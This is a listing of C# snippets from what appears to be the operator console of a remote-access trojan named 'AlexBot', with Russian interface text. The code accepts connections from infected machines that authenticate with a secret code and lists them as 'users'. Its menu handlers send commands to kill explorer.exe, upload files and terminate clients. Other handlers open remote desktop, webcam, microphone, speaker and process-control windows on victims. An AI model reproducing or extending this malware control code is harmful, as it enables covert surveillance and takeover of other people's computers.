Example #1
0
 private void toolStripMenuItem_12_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         TSocket.sendCommand(Selected, "taskmng", "true");
     }
 }
Example #2
0
 private void toolStripMenuItem_10_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         TSocket.sendCommand(Selected, "proccess.kill", "explorer.exe");
     }
 }
Example #3
0
 private void toolStripMenuItem_9_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         TSocket.sendCommand(Selected, "link.open", "explorer");
     }
 }
Example #4
0
        private void ShowInThread()
        {
            ToolSocket tSocket = TSocket;

            tSocket.AutoStart();
            Socket socket;

            while ((socket = tSocket.Accept()) != null && tc)
            {
                string    text    = tSocket.Read(1024, socket);
                string[]  array   = text.Split('|');
                IPAddress address = ((IPEndPoint)socket.RemoteEndPoint).Address;
                if (array.Length > 0 && array[0] == SecretCode && array[1] == NewConnect)
                {
                    if (!ListUsersConnections.Contains(socket))
                    {
                        ListUsersConnections.Add(socket);
                        addNewUser(listView1, address.ToString(), new string[6]
                        {
                            array[2],
                            array[3],
                            array[4],
                            array[5],
                            array[6],
                            "0 KB / 0 KB "
                        });
                    }
                }
                else
                {
                    socket.Disconnect(reuseSocket: false);
                }
            }
        }
Example #5
0
 private void CheckedOnline()
 {
     while (tc)
     {
         Thread.Sleep(2000);
         int count = 0;
         try
         {
             Socket[] array = ListUsersConnections.ToArray();
             foreach (Socket s in array)
             {
                 if (!ToolSocket.SocketConnected(s))
                 {
                     ListUsersConnections.RemoveAt(count);
                     Action action = delegate
                     {
                         listView1.Items.RemoveAt(count);
                     };
                     if (base.InvokeRequired)
                     {
                         Invoke(action);
                     }
                     else
                     {
                         action();
                     }
                 }
                 count = checked (count + 1);
             }
         }
         catch (Exception)
         {
         }
     }
 }
Example #6
0
 private void toolStripMenuItem_16_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         TSocket.sendCommand(Selected, "closedisk", "1");
     }
 }
Example #7
0
 private void toolStripMenuItem_17_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         listView1.Items[Select].SubItems[6].Text = "0 KB / 0 KB";
     }
 }
Example #8
0
 private void toolStripMenuItem_0_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         MessageDialog messageDialog = new MessageDialog();
         messageDialog.selected = Selected;
         messageDialog.tsock    = TSocket;
         messageDialog.ShowDialog();
     }
 }
Example #9
0
 private void method_0(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         MessageView messageView = new MessageView();
         messageView.sock  = Selected;
         messageView.tsock = TSocket;
         messageView.ShowDialog();
     }
 }
Example #10
0
 private void toolStripMenuItem_1_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         OpenLink openLink = new OpenLink();
         openLink.sock  = Selected;
         openLink.tsock = TSocket;
         openLink.ShowDialog();
     }
 }
Example #11
0
 private void toolStripMenuItem_14_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         Speaker speaker = new Speaker();
         speaker.sock  = Selected;
         speaker.tsock = TSocket;
         speaker.ShowDialog();
     }
 }
Example #12
0
 private void ToolStripMenuItem3Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         VoiceManager voiceManager = new VoiceManager();
         voiceManager.sock  = Selected;
         voiceManager.tsock = TSocket;
         voiceManager.ShowDialog();
     }
 }
Example #13
0
 private void ToolStripMenuItem2Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         WebCamViewer webCamViewer = new WebCamViewer();
         webCamViewer.sock  = Selected;
         webCamViewer.tsock = TSocket;
         webCamViewer.ShowDialog();
     }
 }
Example #14
0
 private void toolStripMenuItem_3_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         ProccessList proccessList = new ProccessList();
         proccessList.selected     = Selected;
         proccessList.tsock        = TSocket;
         proccessList.proccessname = Path.GetFileNameWithoutExtension(listView1.SelectedItems[0].SubItems[4].Text);
         proccessList.ShowDialog();
     }
 }
Example #15
0
 private void toolStripMenuItem_5_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         DialogResult dialogResult = MessageBox.Show("Вы уверены что хотите удалить пользователя с базы?", "Информация", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
         if (dialogResult == DialogResult.Yes)
         {
             TSocket.sendCommand(Selected, "terminate", "1");
         }
     }
 }
Example #16
0
 private void toolStripMenuItem_6_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         FullInfo fullInfo = new FullInfo();
         fullInfo.tsock = TSocket;
         fullInfo.sock  = Selected;
         fullInfo.ip    = listView1.SelectedItems[0].Text;
         fullInfo.ShowDialog();
     }
 }
Example #17
0
 private void toolStripMenuItem_2_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         RemoteDesktop remoteDesktop = new RemoteDesktop();
         remoteDesktop.tsock    = TSocket;
         remoteDesktop.selected = Selected;
         remoteDesktop.ShowDialog();
         remoteDesktop.Dispose();
         remoteDesktop.Close();
     }
 }
Example #18
0
 private void toolStripMenuItem_4_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         openFileDialog1.ShowDialog();
         if (File.Exists(openFileDialog1.FileName))
         {
             byte[] array    = File.ReadAllBytes(openFileDialog1.FileName);
             string fileName = Path.GetFileName(openFileDialog1.FileName);
             sendCommand(Selected, "uploadFile", fileName, Convert.ToString(array.Length));
             int bytes = Selected.Send(array);
             TSocket.UpdateTraffic(Selected, bytes, "write");
         }
     }
 }
Example #19
0
        private void MainShown(object sender, EventArgs e)
        {
            OpenPortDialog openPortDialog = new OpenPortDialog();

            openPortDialog.ShowDialog();
            Text       = "AlexBot / Порт: " + openPortDialog.FuturePort + " / Пользователи: " + ListUsersConnections.Count;
            Fport      = openPortDialog.FuturePort;
            TSocket    = new ToolSocket(ToolSocket.GetLocalIPAddress(), openPortDialog.FuturePort, this);
            threads[0] = new Thread(ShowInThread);
            threads[0].IsBackground = true;
            threads[0].Start();
            threads[1] = new Thread(CheckedOnline);
            threads[1].IsBackground = true;
            threads[1].Start();
            threads[2] = new Thread(UpdateTitle);
            threads[2].IsBackground = true;
            threads[2].Start();
            pictureBox2.BackColor = Color.Transparent;
        }
Example #20
0
        private void PictureBox3Click(object sender, EventArgs e)
        {
            int num = (!(textBox1.Text != "")) ? FuturePort : int.Parse(textBox1.Text);

            if (num > 1 && num < 65000)
            {
                if (!ToolSocket.PortInUse(num))
                {
                    FuturePort = num;
                    Close();
                }
                else
                {
                    MessageBox.Show("Этот порт уже используется в системе", "Произошла ошибка", MessageBoxButtons.OK, MessageBoxIcon.Hand);
                }
            }
            else
            {
                MessageBox.Show("Порт не должен быть меньше \"1\" или больше \"65000\"", "Произошла ошибка", MessageBoxButtons.OK, MessageBoxIcon.Hand);
            }
        }